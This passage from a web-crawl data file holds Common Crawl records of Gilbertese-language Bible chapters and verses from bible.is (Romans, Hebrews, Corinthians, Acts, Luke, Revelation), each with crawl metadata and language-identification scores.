Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/5","date":"2013-05-22T10:37:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701577515\/warc\/CC-MAIN-20130516105257-00084-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9997145534,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9997145533561707}","num_words":50,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 5:11\n11 A bati ara taeka aika ti kan taekin ibukin te nakoa n ibonga aei ma a kaangaanga aroia ni kabwarabwaraaki nakoimi, ibukina ngkai kam aki kai oota iai.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/5\/11","date":"2013-05-19T21:52:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698090094\/warc\/CC-MAIN-20130516095450-00095-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999895096,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999895095825195}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.208,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 I kaota nakoimi te aro ae moan te raoiroi riki: ngkana iai irouu te konaa n taetae n taetaen aaba nako ma aia taetae anera, ma ngkana akea te tangira irou, ao I riki n ai aron te bwai ni katangitang ae te buraati ae e karongoaa tangina, ma te bwai ni katangitang ae te timbara ae e karongoaa naba tangina. 2 Ao ngkana iai irouu te konaa n taetae ni buraabeti, ma te konaa n atai baika a raba ni kabane, ma te atatai ni kabanea; ao ngkana e bane n reke irouu aron te onimaki are I konaa ni kamwae nako maunga iai, ma ngkana akea te tangira irou, ao bon akea boonganau. 3 Ao ngkana I anga nako au bwai ni kabane, ao I anga rabwatau bwa e na kabuokaki, ma akea te tangira irou, ao bon akea te bae e raka ae N na karekea iai. 4 E taotaona nanona te tangira ao e atataiaomata; e aki babakantang te tangira; e aki tataetae ni karakaraka te tangira, ao e aki kainikatonga; 5 e bwaina te aroaro ae e riai; e aki ukoukori baika e na kabwaia iai n ti ngaia; e aki kakaiun, ao e aki tautau mwiini buure ake a karaoi aomata. 6 E aki kimwaareirei n te buaakaka, ma e kimwaareirei n te koaua. 7 E kaaitarai bwaai ni kabane ma te taotaonaki n nano; e teimatoa n onimaki; e teimatoa ni kaantaninga, ao e teimatoa n taotaona nanona nakoni bwaai ni kabane. 8 E aki konaa ni mauna te tangira; ao ngkana iai taetae ni buraabeti, ao a na kamaunaaki; ao ngkana iai taetae aika a aki ataaki nanoia, ao a na bon toki; ao ngkana iai te atatai, ao e na kamaunaaki naba. 9 Bwa a aki koro raoi aron ara atatai, ao e aki koro raoi naba aron ara taetae ni buraabeti; 10 ma ngkana e roko are te kororaoi, ao e na kamaunaaki are e aki koro raoi. 11 Ngke te teei ngai, ao I taetae n ai aron te teei, ao I iango n ai aron te teei, ao I babaaire n ai aron te teei; ngkai I a ikawai, ao I kaaki aaro n ataei. 12 Bwa ae ti nooria ngkai ai aron tein taraana ae e aki turuturu raoi i nanon te tirotaam; ma ane ti na bon nooria raoi n te aro n itaramata. E aki koro raoi aron au atatai ngkai, ma ane e na boni koro raoi arona rimwi, n ai arou ngkai I bon ataaki raoi. 13 Ma ngkai a tiku n teimatoa baika teniua aikai, ae te onimaki, ma te kaantaninga, ma te tangira, ma e kakannato riki te tangira i buakoia.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/13","date":"2013-05-23T01:50:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702730377\/warc\/CC-MAIN-20130516111210-00061-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":438,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.486,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 7:28\n28 Bwa te Tua e rineia aomata aika a aki kororaoi n aroia bwa ibonga aika a kakannato; ma te taeka n aakoi are e karaoaki ma te taeka ni bau are e roko rimwi i mwiin te Tua, e rinea te Nati bwa te ibonga ae e kororaoi n arona n aki toki.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/7\/28","date":"2013-05-21T20:47:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700563008\/warc\/CC-MAIN-20130516103603-00015-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000008463859558}","num_words":73,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 3:21\n21 are E riai tikuna i karawa ni karokoa te tai are a bane iai bwaai nako ni kaokaki nakon aroia ngke a moani karikaki, n aron are E taekinna te Atua ni wiia buraabeti ake ngkoa, ake a tia ni kabane maiuia ibukina.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/3\/21","date":"2013-05-23T01:08:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702718570\/warc\/CC-MAIN-20130516111158-00038-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000020266,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000020265579224}","num_words":63,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.27,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 A ongo taan tuatua ma taari ake a mena i Iutaia, bwa a a tia naba aomata ake tiaki I-Iutaia ni butimwaaea i nanoia ana taeka te Atua. 2 Ngke e nako Ierutarem Betero, ao e kauntaeka ma te koraki n I-Iutaia ake a tangiriia aomata ake tiaki I-Iutaia bwa a na koroberoaki. 3 A kaangai, Ko kawariia aomata ake a aki koroberoaki, ao ko amwarake ma ngaiia. 4 E karaki ngkanne Betero, ao e karaua n rarangai taekan te baere e riki ni moa mai moana, ao aei ana taeka: 5 Ngke I mena n te kaawa are Iobe, ao I tataro; ao kaanga ai aron ae I kamiiaki: I noora te bwai teuana ae kaanga ai aron taraan te kunnikai ae e abwaabwaki ae e nnaaki rikaaki ni maninganingana ake aua mai karawa, ao e toki i rarikiu. 6 Ngke I karaua n taraia, ao I nooriia manin aonnaba aika kakaeai waeia, ma maan aika a aki manana, ma maan aika a kawakawa, ma mannikiba. 7 Ao I ongo te bwanaa ae e kaangainakoiu, Betero, tei rake; tiring ao kaang. 8 Ma I taku, Te Uea, I aki kona, bwa bon akea te bwai teuana ae e aki itiaki ke ae e kamwaraa ae e a tia n rin i wiiu. 9 Ma e a manga taetae naba te bwanaa arei mai karawa ao e kaangai, Ane E kaitiakia te Atua, ao ko na aki atongnga bwa e aki itiaki. 10 Tenua ana tai n roko te baerei, ao a manga bane n irakeaki bwaai akekei nako karawa. 11 Ao nooria, n te tai naba arei ao a roko teniman te aomata n te auti are I mena iai; a kanakoakinakoiu mai Kaitareia. 12 E tuangai te Taamnei bwa N na iriia n aki nanokokoraki. A irai naba taari aika onoman aikai, ao ti nako n rin n ana auti Korenerio; 13 ao ngaia e tuangiira arona ngke e noora te anera bwa e tei i nanon ana auti, ao e kaangai, Kanakoa temanna nako Iobe, bwa e na kaoa Timon, are arana teuana Betero; 14 e na taetaenakoim n taeka ake ko na kamaiuaki iai, ma am utu ni kabaneia. 15 Ao ngke I moana au kakarabakau, ao E roko i aoia te Taamnei n aron are e a tia n rikinakoira rimoa. 16 Ao I uringa ana taeka te Uea ngke E kaangai, E boni bwabwaabetiito Ioane n te ran, ma ane kam na bwaabetitooaki n te Taamnei are e Raoiroi. 17 Ma ngaia are ngkana a anganaki aomata aika tiaki I-Iutaia te bwai n tituaraoi iroun te Atua, ae ti te bo arona ma are E anganiira, ngke ti onimakina te Uea are Iesu Kristo, ao antai ngai bwa N na tuuka te Atua? 18 Ngke a ongo baikekei, ao e toki aia kauntaeka; ao a karaoiroa te Atua, ni kaangai: E anganiia naba aomata aika tiaki I-Iutaia te Atua rairan te nano nakon te maiu. 19 A kamaaeaki nako taan onimaki n tain te bwainikiriinaki are e mate iai Tetebano. Iai ake a nako n toki i Boinike, ao i Kubero, ao i Antioka, ao a tataekina ana taeka te Atua nakoia ti I-Iutaia. 20 Ma iai taan onimaki temwaangina aika I-Kubero, ao I-Kurene, ake a nako Antioka ao a tataekina te Uea are Iesu nakoia I-Erene naba. 21 A buokaki ni mwaakan te Uea, ao a onimaki aomata aika a bati, ao a rairaki nakon te Uea. 22 A ongo taekaia uaakekei kaain te ekaretia i Ierutarem, ma ngaia are a kanakoa Bwarenaba bwa e na nako Antioka. 23 Ngke e roko ao e noora aron ana aakoi te Atua nakoia, ao e kimwaareirei; ao e kaungai nanoia ni kabane bwa a na nim ma te Uea ma nanoia ni koaua. 24 Bwa te aomata ae e raoiroi Bwarenaba, ao e on n te Taamnei are e Raoiroi, ao bon te tia onimaki ni koaua. Ao a bati aomata ake a tibwa onimakina te Uea. 25 E nako ngkanne Bwarenaba nako Tareto bwa e na ukoukora Tauro iai; 26 ao ngke e reke irouna, ao e kairia nako Antioka. Teuana aia ririki ni bobootaki ma kaain te ekaretia ikekei, ao a reireia aomata aika a bati. Antioka bon te tabo are a moa n atongaki iai taan onimaki bwa Kristian. 27 Ni boong akekei ao a roko i Antioka buraabeti mai Ierutarem. 28 E tei rake temanna irouia ae arana Akabo, ao e taetae ni mwaakan te Taamnei bwa e na roko te rongo ae e korakora i aonnaba ni bane; ao e koro bukin aei n ana tai n uea Keraurio. 29 A reke nanoia taan onimaki i Antioka bwa a na kanakoa aia buoka n aron are e konaa n reke iroun temanna ma temanna, nakoia taari ake a maeka i Iutaia. 30 A boni karaoia, ao a angani Bwarenaba ma Tauro bwa a na nako n nikiri irouia unimwaane.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/11","date":"2013-05-21T13:57:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700074077\/warc\/CC-MAIN-20130516102754-00047-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":790,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 7:5\n5 Akea ae e na rawa iroumi ni wene n taanga, ma ti ngkana kam a tia ni booraraoi bwa kam na aki karaoia moa i nanon taina are kam baaireia, bwa kam aonga ni kaboonganaa ami tai anne n taatataro iai; ma i mwiin anne ao kam bon riai ni manga okiri aromi n reitaki bwa taanga ngkami, bwa kam kaawa ni kariiriiaki iroun Tatan ngkai kam babanga n taotaon nanomi.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/5","date":"2013-05-18T22:21:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696382917\/warc\/CC-MAIN-20130516092622-00074-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000008463859558}","num_words":91,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.297,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 N te taabati teuana, ngke E rin Iesu bwa E na amwarake n ana auti te Bwaritaio temanna ae e kakannato, ao a tarataraia te koraki ake a mena ikekei. 2 Ao nooria, e mena te aomata temanna i matana ae e aorakina te buubura. 3 Ao E taetae Iesu nakoia rooia ma Bwaritaio, ni kaangai, E riai n taekan te Tua bwa e na karaoaki te mwakuri ni kamaiu n te taabati, ke e aki? 4 Ma akea ae e karongoaa. Ma ngaia are E taua teuarei Iesu, ni kamaiua, ao E kanakoa. 5 Ao E titirakiniia, ni kaangai, Antai iroumi ae iai natina ke ana kao ae e bwaka i nanon te mwanibwa n te taabati ae e na aki anaia maiai ngkekei naba? 6 Ao akea ae e konaa n anga ana kaeka nakoina. 7 Ngke E noori aroia aomata ake a kaoaki nakon te amwarake bwa a rinei taabo n tekateka aika kakannato, ao E atonga te taeka ni kabootau nakoia, ni kaangai, 8 Ngkana ko kaoaki iroun temanna nakon te baka n amwarake, ao tai tekateka n te tabo ae moan te kakannato, bwa e kaawa n iai ae e kakannato riki nakoim ae e kaoaki iroun teuarei, 9 ao teuare e kakao, ane e na roko ma teuarei ao e na kaangai nakoim, Anga am tabo nakon teuaei, ao ngkanne ane ko na nako ma te maamaa n tekateka n te tabo ae akea kakannatona. 10 Ma ngkana ko kaoaki, ao naako tekateka n te tabo ae akea kakannatona, bwa ngkana e roko teuare e kaoko ao ane e na kaangai nakoim, Raou, naako tekateka n te tabo are e rine riki; ao ngkanne, ane ko na kamoamoaaki i mataia aomata ni kabaneia ake a tekateka n rarikiriki n amwarake ma ngkoe. 11 Bwa ane e kakannatoa i bon irouna, ao e na kamangoraki; ao ane e kamangoria i bon irouna, ao e na kakannatoaki. 12 Ao E taku nakon teuare e kakao, Ngkana ko karaoa te amwarake ni kamwaitia ibukin te tawanou ao te tairiki, ao tai kaoiia raaraom ke tarim ma am bu, ke raom aika kaubwai aika a maeka ni kaan ma ngkoe, bwa a kaawa ni manga kaoko naba, ao e kabooaki nakoim mwiin are ko karaoia. 13 Ma ngkana ko karaoa te amwarake, ao ko na kaoiia akana aki kaubwai ma akana a aki toamau bwain rabwataia, ma akana aki konaa te nakonako raoi, ma akana a mataki, 14 ao ko na kakabwaiaaki iai; bwa a aki konaa ni manga kabooa mwiin are ko karaoia nakoia. Ane e na kabooaki nakoim mwiin are ko karaoia n te tai are a manga maiu iai aomata ake a raoiroi ake a tia ni mate. 15 Ngke e ongo taeka aikai temanna i buakoia aomata ake a rarikiriki n amwarake ma Iesu, ao e taku nakoina, E a kabwaia te aomata are e na amwarake n uean te Atua. 16 Ma E taku Iesu nakoina, E karaoa te amwarake ae abwaabwaki te aomata temanna, ao e kaoiia aomata aika bati; 17 ao e kanakoa ana toro, ngke e nangi waaki te amwarake, bwa e na kaangai nakoia aomata ake a tia ni kaoaki, Mai; bwa a bane n tauraoi bwaai ngkai. 18 Ma a bane n anga aia taeka ni karautaeka n te nano ae ti te arona. E taku nakoina te moa n aomata are e kawaraki, I a tia ni kabooa te aba, ao I riai n nako n nooria; I butiiko bwa N na tiku. 19 Ao e kaangai are temanna, I a tia ni kabooi tengauni kao-mwaane ao ae i aoni kawaiu ngkai n nako ni kataiia bwa ua ra. I butiiko bwa N na tiku. 20 Ao e kaangai temanna, I a tibwa karekea buu, ma ngaia ae I aki konaa n nako wati. 21 Ngke e oki te toro arei, ao e taekini baikekei nakon ana mataniwi. Ao e un iai teuare ana auti te auti, ao e taku nakon ana toro, Kawaetatako naako ni kawain te kaawa ao kawai i rarikin auti, ao kairiia mai akana aki kaubwai ma akana aki toamau bwain rabwataia ma akana aki konaa n nakonako raoi, ma mataki. 22 Ao e taku te toro, Te mataniwi, e a tia ni karaoaki are ko tuatua, ao e boni mwaawaawa naba te tabo. 23 Ao e taku te mataniwi nakon te toro, Ko na nako ni kawai aika raababa ma kawain te marenaua, ao imanonoiia aomata bwa a na nako mai, bwa e aonga ni kaonaki au auti. 24 Bwa I taku nakoimi, bwa akea i buakoia aomata ake a moani kaoaki ae e na katoonga au amwarake. 25 A ira Iesu aomata aika rangi ni mwaiti; ao E rairaki n taku nakoia, 26 Ngkana iai ae e kan riki bwa au reirei ma e aki ribaa tamana ma tinana ma buuna ma natina ma tarina ma mwaanen, ma n aki ribaa naba maiuna, ao e aki konaa n riki bwa au reirei. 27 Ane e aki uouota ana kaibangaki, n ri mwiiu, ao e aki konaa n riki bwa au reirei. 28 Bwa antai iroumi ae e kani katea te auti ae e buubura, ao e na aki tekateka moani wareka mwaitini boona, bwa tao e na tau ke e na aki ibukini katiaana? 29 Bwa ngkana e a tia ni karaoa aana, ao e aki konaa ni katiaa te auti, ao e na ngareakinaki irouia aomata ake a nooria, 30 ao a na kaangai, E a tibwa moani kateitei te aomata aei, ao e aki konaa ni katiaa. 31 Ao ai antai te uea, ae tebwina tengaa mwaitin ana aomata, ae e na aki tekateka moa n iango i mwaain ae e nako ni buakana te uea temanna, bwa tao e na konaa aona, ngkana e roko teuarei ma raona aika uabwi tengaa ni buakaniia? 32 Ao ngkana e na aki kona, ao e na kanakoia taan taetae ibukina bwa a na buubuti te raoi nakon teuarei ngkae e mena i kiiraroa. 33 Ma ngaia are ngkana iai i buakomi ae e aki kiitan anaQbwai ni kabane, ao e aki konaa n riki bwa au reirei. 34 E raoiroi te taoro; ma ngkana e a mauna taorona, ao e na kangaa ni manga kaokaki arona n taoro? 35 E aki tau ni kaboonganaaki ibukini kanan te tano, ke n renganaki ma kanan te aroka aika bwariko ni maange. Ane iai taningana n ongo ao ke e ongo.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/14","date":"2013-05-23T08:00:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368703035278\/warc\/CC-MAIN-20130516111715-00056-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1043,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.471,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 13:8\n8 Ao ane a na taromauriia te man arei aomata nako i aonnaba, ake a aki koreaki araia ni bokin te maiu ma ngke a moani karikaki aonnaba; ao te boki arei bon ana boki te Tiibuteteei are e kamateaki.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/13\/8","date":"2013-05-22T04:34:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701314683\/warc\/CC-MAIN-20130516104834-00006-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999518394,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999518394470215}","num_words":60,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:36\n36 Ngkana arona ngkanne bwa e buta rabwatam ni kabane n te oota n akea maiai ae e roo, ao e na tabwanin raoi ootana, n ai aron uran te taura ae e anganiko ootana.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/36","date":"2013-05-24T20:06:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705020058\/warc\/CC-MAIN-20130516115020-00009-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999870062,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.999987006187439}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.278,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 1:27\n27 E karaoa aei te Atua bwa E tangiringkami aika tiaki I-Iutaia bwa kam na ataa te baere e raba ae e kamiimii ae e mimitong; ao te bae e raba aei boni Kristo i nanomi, are Ngaia ami kaantaninga bwa e na reke neboami.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Col\/1\/27","date":"2013-05-24T12:47:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704658856\/warc\/CC-MAIN-20130516114418-00013-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999467134,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999467134475708}","num_words":64,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 3:13\n13 Ma kam na i kauungaingkami n te bong ae koraki, ngkae e atongaki bwa Te bong aei; bwa e kaawa temanna i buakomi ni mwaamwanaa ki n te bure ao e riki ni matoatoa iai nanona.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/3\/13","date":"2013-05-22T05:02:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701314683\/warc\/CC-MAIN-20130516104834-00015-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000004768371582}","num_words":56,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.339,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ngai ae Bwauro. I butingkami n nimamanneini Kristo ao n nanoraoina—ngai ae I atongaki bwa I nanorinano ngkana I mena i rarikimi, ma I ninikoria ngkana I raroa nako mai iroumi- 2 I boni butingkami bwa kam na aki karaoa ae N na rangi ni matoatoa iai ngkana I roko iroum! Bwa I boni konaa ni matoatoa nakoia ake a taku bwa ti nakonako n te aro n rabwata. 3 Bwa ti maiu n te aro n rabwata, ma ti aki buaka n ai aron nanon te rabwata; 4 bwa ara bwai ni buaka aika ti kamanenaai n te buaka bon tiaki bwain aon te aba, ma bwai ni buaka aika a korakora iroun te Atua n uru taabo ni buaka aika a matoatoa. Ti uru taeka ni baka n rabakau, 5 ma aaro ni kainikatonga nako aika tuutuuki man ataakin te Atua; ao ti kataenikai naano ni kabane bwa a na ongo irouni Kristo; 6 ao ti tauraoi ni karekea kain te aki-ongeaaba ni kabane, ngkana e a roko raoi aromi n ongeaaba. 7 Kam babaaire man taraan aron teini bwaai. Ngkana e koaua i nanona te aomata bwa ana bwai Kristo ngaia, ao ke e kauringnga bwa ngkai ana bwai Kristo ngaia, ao ngaira bon ana bwai naba Kristo. 8 Bwa e boni ngae ngkana tao I kabatiaa kamoamoaau ibukini mwaakara are e anganiira te Uea ibukini kateimatoaami ma tiaki ibukini kabwakaami, ao I bon aki maamaa; 9 ngkai I aki tangiringkami bwa kam na taraai bwa aongkoa I kataia ni kakamaakuingkami n au reta. 10 Bwa iai ae e kaangai, A rawaawata ma ni matoatoa taekan ana reta Bwauro, ma ngkana e mena rabwatana i rarikira ao e mamaara n arona, ao a kaakeaaki boonganan ana taeka. 11 Ke e ataia te aomata anne bwa te baere ti taekinna n te reta ngkai ti raroa, ao ti na boni karaoia ngkana ti mena iroumi. 12 Bwa ti maaku n atongira bwa raoia te koraki ake a kamoamoai aroia, ke ni kabootauiia ma boni ngaiia, ao a nanobaba. 13 Ma ti na aki kamoamoaira i aon are e baaireaki are E anganiira te Atua, ae te tia are kam reke naba i nanona. 14 Ao ngkai kam reke i nanona, ao ti bon aki karakaira i aona ngke ti roko n uota taekan euangkerioni Kristo nakoimi. 15 Ti aki kamoamoaira n aia mwakuri temwaangina are a karaoia i tinanikun te tia are E a tia te Atua ni baaireia nakoira; ma bon ara kaantaninga bwa ngkana e rikirake ami onimaki, ao ara mwakuri e na karaababaaki riki i buakomi n ai aroni baaireana. 16 Ngkana e riki aei ao ti a konaa n tataekina te euangkerio n aaba ake i tinanikuni Korinto, n aki kamoamoaira n te mwakuri are e a kamani karaoaki iroun temanna n te tabo are e a tia ni baaireaki nakoina. 17 Bwa e kaangai te Baibara, Ane e kamoamoa, ao ke e kamoamoa iroun te Uea. 18 Bwa tiaki te aomata ae e taekina arona ni kamoamoaa ae e kakoauaaki bwa e raoiroi arona, ma te aomata ae e kamoamoaaki arona iroun te Uea.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/10","date":"2013-06-20T04:38:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368710299158\/warc\/CC-MAIN-20130516131819-00091-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":504,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 27:11\n11 Ma mataniwiin te taanga ni buaka are tebubua kaaina e aki kan ongo n ana taeka Bwauro; e ongo riki iroun te kaaben ao te aomata are ana bwai te kaibuke.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27\/11","date":"2013-05-21T21:22:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700626424\/warc\/CC-MAIN-20130516103706-00055-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999765158,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999765157699585}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 9:14\n14 Ao ai arona naba nakoia te koraki ake a tataekina te euangkerio, bwa E tua te Uea bwa a riai ni kareke baika a kainnanoi ibukini maiuia man aia mwakuri n tataekina te euangkerio.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/9\/14","date":"2013-05-21T21:49:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700626424\/warc\/CC-MAIN-20130516103706-00060-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999212027,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999212026596069}","num_words":54,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.241,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 7:45\n45 Ko aki kaota aroni butimwaaeau n te kabooria, ma neiei e aki toki arona ni kaota karineau irouna ni kabooriana ma waeu ma ngke I moa n rin.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/7\/45","date":"2013-05-24T06:19:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704234586\/warc\/CC-MAIN-20130516113714-00066-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9995398521,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 